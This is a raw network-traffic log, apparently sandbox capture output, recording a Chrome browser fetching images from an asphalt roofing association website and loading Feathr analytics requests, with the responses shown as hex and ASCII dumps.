"A*-EJFGy_o]?>N>;W[yz?\)~}w_oGG^.8#?NuGjGG~@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.6	50161	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	731	OUT	GET /wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:38 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:37 GMT Content-Type: image/png Content-Length: 21622 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 02 Aug 2023 12:14:37 GMT ETag: "6020f0-5476-601ef9b78bd48" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:38 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 03 e8 08 03 00 00 00 11 15 6a 83 00 00 00 51 50 4c 54 45 ff ff ff ef ef ef e8 e7 e7 dd dd dd cf cf cf bd bc bc aa aa aa 99 99 99 88 88 88 8d 85 84 78 77 77 7e 71 70 71 6b 6b 66 66 65 55 55 55 57 4b 53 4e 4d 4d 4e 4c 4b 51 48 47 54 45 44 44 43 43 49 3d 3c 3f 34 32 38 36 35 22 22 22 11 11 11 00 00 00 83 66 37 95 00 00 53 e0 49 44 41 54 78 da ed 9d 89 9a ab b6 b2 46 ed e3 89 38 db ce 4d 07 83 e1 fd 1f f4 7e 66 94 aa 4a 20 3c b4 c1 5e 7f ce 49 f6 ee 06 34 c0 a2 34 a1 7f f5 1f 72 f5 83 7c fd bb 7c fd df 23 5a c1 04 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 02 10 00 01 10 00 01 10 00 01 10 00 01 10 00 01 10 00 01 Data Ascii: PNGIHDR jQPLTExww~qpqkkffeUUUWKSNMMNLKQHGTEDDCCI=<?42865"""f7SIDATxF8M~fJ <^I44r\|\|#Z
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: 72 aa 2b bd 7e 08 db 6a 4f 9b 5b 51 c8 d7 c5 a1 7d 4e 4e 7e cf ff a8 00 59 b7 d7 b8 ee bb d4 da 47 ac 05 e4 50 78 57 bb 3d 1a eb bc 2c cb ed ba 28 37 2b f7 79 71 11 15 17 2e 8a 36 e1 62 b3 da e4 f5 1f 0f ed af da 44 d3 40 89 45 11 56 ab 7d e1 9e a1 01 39 99 85 0b 55 58 7f e0 76 15 c8 92 ba 58 57 0b ab d5 36 6f 7f b5 09 00 62 25 b0 bd ba b5 ea 5f c3 00 44 1e 70 7b d8 4f 5d 8d 56 3a 75 75 34 00 88 38 e7 43 00 39 55 d5 b8 2d ea da 6c 8a 7b 2c f3 6d fd 36 2e d6 a2 3a da e3 aa ff 26 cd 8b f6 d8 3e 91 4e 13 20 6f de 25 a7 b2 dc 79 e7 9e ca 73 03 c8 a1 79 8f 27 ed 7b 39 29 8f 69 fd e2 3b f5 54 e4 e5 46 04 79 ff c2 45 b1 2b d3 f5 6a b5 b9 96 f9 2a af 32 9e 96 d7 e6 61 49 ba 14 d2 60 89 bd 22 ac 8b 3a e5 cd b9 fa af 68 92 6d 9a 68 26 f3 10 ac b0 bc bc de 2e bb 49 Data Ascii: r+~jO[Q}NN~YGPxW=,(7+yq.6bD@EV}9UXvXW6ob%_Dp{O]V:uu48C9U-l{,m6.:&>N o%ysy'{9)i;TFyE+j*2aI`":hmh&.I
2024-04-23 14:54:38 UTC	5755	IN	Data Raw: 9a fc 62 c9 62 ab 5c 38 bd 9b 88 65 29 61 40 8e af 5a 7b f2 0b 6b b1 ae c5 6a d7 cc a4 1f da f1 48 e5 66 a4 ed 98 c2 80 4c f0 65 b2 4c 8f a4 c3 52 d8 73 a9 1b 42 ec 6f dd 61 38 af dd 30 ef 49 0d f3 86 00 19 5e 56 74 75 67 42 aa 31 36 6d b3 34 15 90 3a d3 b2 54 ee 30 ef 40 0a 76 53 cf 42 fb 3c 0c c8 55 00 12 e3 0d 16 06 64 c0 1e 6b f6 80 24 65 72 ba 4d 02 1c ca 7d da d5 97 74 33 d2 76 4c 61 40 a6 f8 32 19 a6 47 d2 61 69 c0 73 a9 49 f9 e4 d8 17 5d 07 f3 da 64 64 db 8d ee 77 13 85 a2 0c b1 ee 4d db a2 27 a4 59 d9 ab 6c 96 a2 00 d1 99 16 a5 72 4e 1a 48 41 9a 5b c9 b8 a2 ba 06 7e b1 55 2e 9c bc 47 78 83 85 01 d1 cf c4 72 00 d9 94 79 51 15 a7 48 9d 06 83 70 33 d2 76 4c d2 55 ca bd 2b f1 be 4c 96 e9 91 70 58 1a f0 5c 6a 53 6e 97 5e 9c ab 60 33 90 d7 36 23 49 d9 Data Ascii: bb\8e)a@Z{kjHfLeLRsBoa80I^VtugB16m4:T0@vSB<Udk$erM}t3vLa@2GaisI]ddwM'YlrNHA[~U.GxryQHp3vLU+LpX\jSn^`36#I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.6	50162	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	725	OUT	GET /wp-content/uploads/2023/08/WebCard3_Craftsmanship.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:38 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:37 GMT Content-Type: image/png Content-Length: 21194 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 02 Aug 2023 12:14:34 GMT ETag: "6020e9-52ca-601ef9b47298a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:38 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 03 e8 08 03 00 00 00 11 15 6a 83 00 00 00 ba 50 4c 54 45 c7 bb b8 71 59 57 9a 84 80 90 82 81 6d 52 4e 8c 80 7e 4e 38 36 ff ff ff fa f6 f2 ef ee ee e9 e5 e5 dd dd dc dd da d9 cf cd cd cf c7 c6 bb bb bb c1 b8 b7 b7 ab aa aa aa aa ab 9d 9c 99 99 99 a2 92 90 9c 90 8f 99 8f 8e 9c 86 80 96 85 82 91 85 84 88 88 88 89 80 7d 8e 7b 7a 86 73 74 77 77 77 7e 74 73 83 72 70 86 6a 67 7e 65 63 7b 63 62 76 65 64 7a 5f 5d 66 66 66 6b 56 53 68 4f 4e 55 55 55 62 4e 4b 5e 4b 49 65 47 42 57 41 3f 5a 3e 3b 5c 3b 37 44 44 44 5d 38 33 48 3f 39 4e 3a 41 4f 38 36 51 35 32 52 33 2f 42 30 2e 45 2c 29 33 33 33 22 22 22 11 11 11 00 00 00 8b 6e 35 b7 00 00 00 07 74 52 4e 53 fb fb fc fd fd fe fe d8 a6 ed 2c 00 00 51 b8 49 Data Ascii: PNGIHDR jPLTEqYWmRN~N86}{zstwww~tsrpjg~ec{cbvedz_]fffkVShONUUUbNK^KIeGBWA?Z>;\;7DDD]83H?9N:AO86Q52R3/B0.E,)333"""n5tRNS,QI
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: 93 a0 5d 6d 0f b7 f0 cc 0b 8e f0 90 f2 9d 76 6a 03 62 52 a3 00 49 b0 dc ba d3 31 88 6b 1d b4 ea 5a e2 cc 7a d2 6f 7d a6 4e a7 d8 10 b9 2b e9 ab cc 67 2a e0 b9 b7 02 c4 f5 86 5a c6 ce d6 37 fe 86 c5 c0 72 a3 eb e2 14 f5 7d 0a 1a 2a c5 00 39 d3 89 29 1d 10 9d a0 85 fd 64 19 57 78 c2 9d 2b 3c f0 09 01 92 60 b9 75 af d3 bc 8e 75 d0 4a db 0b e8 83 d6 9b ee c0 78 1b 22 07 10 73 5e b2 f2 6d f2 dc 7b 00 90 b2 6e d0 f6 69 b5 ca 71 af 72 25 5c 9c 22 e7 1d 0e 18 2a 0d 03 72 b6 13 53 32 20 3a 41 c7 23 4c 0f 9e 07 55 42 e1 49 77 ae f1 80 24 58 6e dd ef 42 a1 65 1d b4 f2 18 d4 a4 01 12 b7 21 b2 03 9e 95 a6 e1 50 be 4d 9e 7b 47 00 49 ad 55 ae 7b 95 a8 01 ae 8b d3 30 20 43 86 4a 83 80 9c ef c4 94 0a 88 4e d0 a1 2c 17 7b cb 95 77 44 e1 29 77 ae b3 01 d9 4d 0a 90 ac b7 0e Data Ascii: ]mvjbRI1kZzo}N+gZ7r}9)dWx+<`uuJx"s^m{niqr%\"*rS2 :A#LUBIw$XnBe!PM{GIU{0 CJN,{wD)wM
2024-04-23 14:54:38 UTC	5327	IN	Data Raw: 06 a4 0b 7a df bb ee 05 5f f4 d2 49 2f 66 f6 8d b4 67 d3 be 39 d6 65 5e 6d 8b bd 15 84 b6 6c 12 a9 11 77 32 f5 5c e4 52 dc cd 2b 74 a1 0d 48 97 de a6 24 a3 71 eb b3 77 8c d7 d5 bd 75 b1 b2 be a0 d6 3d 20 1e 77 a2 52 1c 64 ee f1 92 0a 3d 46 ad 6c ed f8 18 0b 48 eb 63 30 3a 16 2a 08 db cb 33 d8 82 68 40 d6 fd 87 a6 31 08 1f f5 ab 93 ee c6 5a 7b 36 19 83 9b 5d df 97 cc 32 9f 65 93 48 cd da eb 99 52 86 0f 9d 0f b8 79 85 2e b4 01 29 dc 47 5d 34 6e 5d f6 8e f2 ba ba db 69 de 4d 9d de 83 e9 7a 2a 77 22 fb 58 e6 83 df e8 40 74 c4 0f ee 69 6d c7 00 76 7d 2e 27 02 b2 d8 ec aa 62 b3 31 99 3d 3a 16 2a 08 7b 1e 4a 02 22 6c 90 56 5e 2b a1 c2 64 51 f8 24 16 5f d2 43 b1 6e fd 9c 8a d2 74 d6 9b 83 2c 9a da e7 f1 50 70 53 23 ee d4 d5 73 f7 7e 71 ab 89 c0 85 0e 20 3b 37 39 Data Ascii: z_I/fg9e^mlw2\R+tH$qwu= wRd=FlHc0:3h@1Z{6]2eHRy.)G]4n]iMzw"X@timv}.'b1=:*{J"lV^+dQ$_Cnt,PpS#s~q ;79

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.6	50160	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	730	OUT	GET /wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:38 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:37 GMT Content-Type: image/png Content-Length: 31868 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 02 Aug 2023 12:14:26 GMT ETag: "6020e2-7c7c-601ef9acfaecb" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:38 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 03 e8 04 03 00 00 00 d4 e5 87 82 00 00 00 30 50 4c 54 45 ff ff ff e5 e5 e5 ca ca ca a8 a8 a7 89 89 89 89 6d 6b 71 71 71 51 51 51 60 37 32 60 36 32 65 30 2a 49 28 24 30 30 30 4c 23 1f 15 15 15 00 00 00 3d 5a 16 81 00 00 7c 07 49 44 41 54 78 da ec bd 7f 6c 6b d7 75 e7 bb f9 c3 52 8a ea 09 44 d2 5e a7 98 3b ba 74 da c6 2d 90 58 74 8a 17 cf bc f1 44 4c 13 34 33 68 e7 32 2f 8e 81 b6 46 00 3a 2d ea 7f 0c 93 b6 83 cc 1f 33 ef b2 7d 48 80 f6 05 03 4c 83 17 a0 92 11 e0 fd 53 60 78 1f 02 74 9a 04 93 1b e1 02 72 12 74 fe 29 cc 36 69 d0 d8 82 00 c9 31 ae ff 31 44 5c 89 20 ff 11 78 06 7b ed b5 d6 de eb fc 20 0f 25 1e f2 48 da 27 8e 2d f2 fc da e7 7c b8 d7 5e 67 9f fd dd 5f 75 f7 92 2f dd 69 cb ce b6 fe Data Ascii: PNGIHDR 0PLTEmkqqqQQQ`72`62e0*I($000L#=Z\|IDATxlkuRD^;t-XtDL43h2/F:-3}HLS`xtrt)6i11D\ x{ %H'-\|^g_u/i
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: 4d 35 4e 44 c8 fa f2 50 15 fb 4d a7 30 6e 79 6d 81 06 77 ea aa 75 ba d5 54 5b 83 c5 00 19 b7 95 5a 1f 00 10 88 3a 54 dd 8f f5 f9 9f 18 28 55 84 d4 53 a9 c6 71 c5 01 b2 a9 2f 6a f3 54 02 a1 4d d7 c7 74 47 8a 3a 40 e9 7f e9 0b be 79 8a 40 3a fa 44 5b 47 66 6d 69 7c aa 54 eb 75 fd f5 a1 2a 8f 75 bd e8 e8 30 d3 a9 3a 40 36 a8 34 1d d8 7f 8f 81 94 74 6d 28 29 b5 f9 b6 fc 6c b2 7b 5d 03 56 75 81 8e 5f 57 6a 6d 20 80 f4 6b 4a 35 0e 6d 61 64 79 b9 40 67 47 9a d9 3b 4a ad 8c 16 04 a4 62 ee 70 a3 ad 5a ee f3 97 fe f1 e8 67 00 fc 54 51 8d 81 fb 1c 02 3f c2 52 b8 0d c1 4d d7 cf e8 28 ab 50 e1 10 72 79 68 80 e8 cd a1 8d 58 85 6b 6c 9c aa 22 fc 42 d7 06 f0 43 57 6a 73 4f a9 c2 b1 5b 4e b8 6b e5 b1 2a 42 81 de 6f 43 16 b5 34 c0 b0 70 cc 9f cd ae 50 27 7a 75 7b 95 0e 90 Data Ascii: M5NDPM0nymwuT[Z:T(USq/jTMtG:@y@:D[Gfmi\|Tuu0:@64tm()l{]Vu_Wjm kJ5mady@gG;JbpZgTQ?RM(PryhXkl"BCWjsO[NkBoC4pP'zu{
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: 54 0e 3d e2 11 2e 4f 6f 2c 2d c6 66 54 d5 cf 0c c4 f5 00 63 f7 2b d0 9e ad 0c 43 cf 73 5b ed 38 20 75 d7 c8 63 2b 5c 43 18 48 cd 39 d0 da 49 e8 40 a4 9f 23 77 0f 07 88 18 8c b5 d5 66 20 d6 dd 4b 48 d1 22 65 94 43 e9 d7 4e 1c 20 76 43 b6 46 23 1d 1f 88 f7 f4 a0 e4 5e 4d 85 2c c6 4a a3 6c 81 b8 53 bd b3 fb 15 7c bb 36 70 80 a0 4e 2d 06 08 0a c1 7a b5 30 10 94 bc 21 90 2a 1e a8 f8 c2 f8 4f d6 4e 43 07 22 fd 1c 0a 3e dc 36 84 64 b1 6c c4 85 40 ac 55 0e 4b d1 62 cb c8 e5 a2 33 e3 37 68 fa 85 1b d5 65 39 d8 5d cc 9a 33 b2 c5 18 e9 f7 16 01 84 cd 96 cc e8 fd 13 0b 84 74 6a 49 40 0e ad ec c9 a6 bd 46 f2 16 02 a2 13 96 71 18 08 c9 b5 b0 4b c4 05 42 e3 36 d9 88 0b 81 58 33 29 2a 41 7c 19 ad 1c 0b cf 6c ca 43 a6 5f ee 46 8e 6c 8c 67 f5 07 2f 40 e9 68 85 fa bd e5 02 Data Ascii: T=.Oo,-fTc+Cs[8 uc+\CH9I@#wf KH"eCN vCF#^M,JlS\|6pN-z0!ONC">6dl@UKb37he9]3tjI@FqKB6X3)A\|lC_Flg/@h
2024-04-23 14:54:38 UTC	7809	IN	Data Raw: ea 3a 19 dd a9 ab 47 f5 13 19 dc 5e 92 ad c1 89 ad 94 8e 7c c1 e0 5b 15 71 1a 63 87 b3 44 20 eb 23 61 85 66 d3 2f 7d 1c a9 95 a3 8b 20 d1 2d 95 36 33 20 31 9d 8b 02 08 e9 d9 0a fd e0 84 e5 6b ec b0 a5 65 67 56 24 a6 cc 17 ac 85 53 eb a6 26 08 cf 30 61 2b a6 73 2f 9c 83 0a 81 e8 6d 07 f4 7b a7 7e 3e 38 b1 ed 5c e4 e3 51 2f a5 74 1a 73 3b 17 e3 81 94 41 5d 67 3b 17 69 05 1c 47 6a e5 e8 22 08 08 95 36 3b 20 ba 2f 5b 76 bf 0b 20 ac 67 fb 44 f0 0a cb d7 d8 61 4b cb ce 44 f7 3b 7c 41 5a 38 3e a6 eb 19 e6 da 8a 81 17 97 ee 8f ff a2 1d 41 f1 94 e3 ff 45 b2 35 38 71 a4 fb 1d bf 8d 3a 8d 39 dd ef f1 40 0a d8 a3 42 dd ef dc da 43 79 84 56 8e 2e 82 65 e9 58 da 0c 81 9c 63 49 6b c6 b1 f1 70 c6 03 67 32 79 e3 05 17 73 11 fd da c2 07 39 64 00 64 66 17 95 3c 02 31 17 f1 Data Ascii: :G^\|[qcD #af/} -63 1kegV$S&0a+s/m{~>8\Q/ts;A]g;iGj"6; /[v gDaKD;\|AZ8>AE58q:9@BCyV.eXcIkpg2ys9ddf<1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.6	50164	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:38 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884076727 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:38 UTC	966	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:38 GMT Content-Type: text/javascript Content-Length: 207 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zSF%2FTdXmwPghBrlL%2FA386WcrIYEluZgfA0CW32GPig%2F287Y%2F04LtSvMmweArMiqOeQ0wR7gFVYuSuNw%2FaQOKj6Pj5qnjmZM7PZzpACxrTtqRNqUeYdkLCpBFbZn1QBWX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0a208076754-ATL
2024-04-23 14:54:38 UTC	207	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 2c 20 27 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab'); } }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.6	50166	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:38 UTC	426	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:38 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:38 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ebFpVs1Rf76cRaP0a%2BfBnCej66QbeJcOkrfNOaxBNniodkkCJbRUB36rx8gAZ%2BoJXt7zbDadU%2F3egxuaVuWQXZ5K9Ehbp9UBqy8n4ZMDxKrYZEeQIsWse93aYME6glAw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0a26bde78c6-ATL
2024-04-23 14:54:38 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.6	50167	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:38 UTC	740	OUT	GET /wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-600x600.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:38 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:38 GMT Content-Type: image/png Content-Length: 47111 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 19:13:52 GMT ETag: "6020a8-b807-601cd3b1e1887" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:38 UTC	7676	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 58 00 00 02 58 08 03 00 00 00 89 b8 68 ee 00 00 01 14 50 4c 54 45 47 70 4c 32 34 33 13 13 13 c5 c1 c4 13 13 12 13 14 14 14 14 14 56 55 55 08 07 08 28 29 28 1a 1a 1a 0b 0b 0a 36 36 37 98 98 9d 11 11 11 0d 0d 0d 49 4b 50 0f 0f 0f 2b 2b 2b 1c 1c 1c 06 06 06 10 10 0f 58 58 58 52 52 53 8a 8b 91 3d 40 45 a8 a7 a8 84 85 84 6e 6e 6e 47 47 47 17 14 14 62 62 62 2d 2d 2d 58 58 58 3a 3a 3b 16 13 13 53 53 53 54 54 54 33 15 14 66 1e 16 3c 3c 3d 5e 1f 1a ff ff ff 01 01 01 c4 c6 d2 73 21 16 fe fe fd 65 68 6f 62 65 6c 68 6b 72 60 62 68 fb fc fb 5d 5e 64 f6 f7 f6 c3 c3 c9 b0 af b4 ea e9 e7 f0 f0 ef b7 b7 bb a8 a7 ac bd bd c3 e4 e0 de 32 37 2e 75 2a 22 21 28 22 9f a0 a5 94 5f 58 8d 55 4e 7a 34 2e db d9 d8 87 4a 44 9b Data Ascii: PNGIHDRXXhPLTEGpL243VUU()(667IKP+++XXXRRS=@EnnnGGGbbb---XXX::;SSSTTT3f<<=^s!ehobelhkr`bh]^d27.u*"!("_XUNz4.JD
